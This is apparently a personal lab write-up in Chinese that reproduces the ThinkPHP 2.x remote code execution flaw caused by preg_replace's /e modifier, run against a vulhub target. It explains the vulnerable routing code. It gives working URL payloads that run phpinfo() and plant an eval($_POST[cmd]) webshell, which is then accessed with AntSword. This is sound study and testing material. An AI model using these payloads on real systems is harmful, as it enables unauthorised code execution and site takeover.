复现环境
攻击机:win11
靶机:kali搭建的vulhub
ThinkPHP影响版本
Thinkphp2.x
原理简介
首先了解这个preg_replace()函数:执行一个正则表达式的搜索和替换。
简单来说可以这么理解preg_replace('正则规则','替换字符','目标字符')
若目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了
/e
这个修饰符,则存在代码执行漏洞。e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
ThinkPHP 2.x版本中,使用
preg_replace
的/e
模式匹配路由:$ preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞
复现过程
(1)访问用kali的docker启动的环境 目标机的ip加上端口 例如:192.168.179.140:8080
(2)使用在URL后面加上不存在的路径报错爆处Thinkphp版本,或者看数据包
(3) 构造payload实现 phpinfo()和webshell
payload1:http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
payload2:http://xx.xx.xx.xx.:8080/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}
${}讲解,在PHP当中,${}可以构造一个变量,{}写的是一般的字符,那么就会被当成变量,比如${x}等价于$x,那如果{}写的是函数名称,那么这个函数就会被执行;
(4) 用蚁剑连接后门,获得网站权限
(5)个人复现记录,如有错误,欢迎指正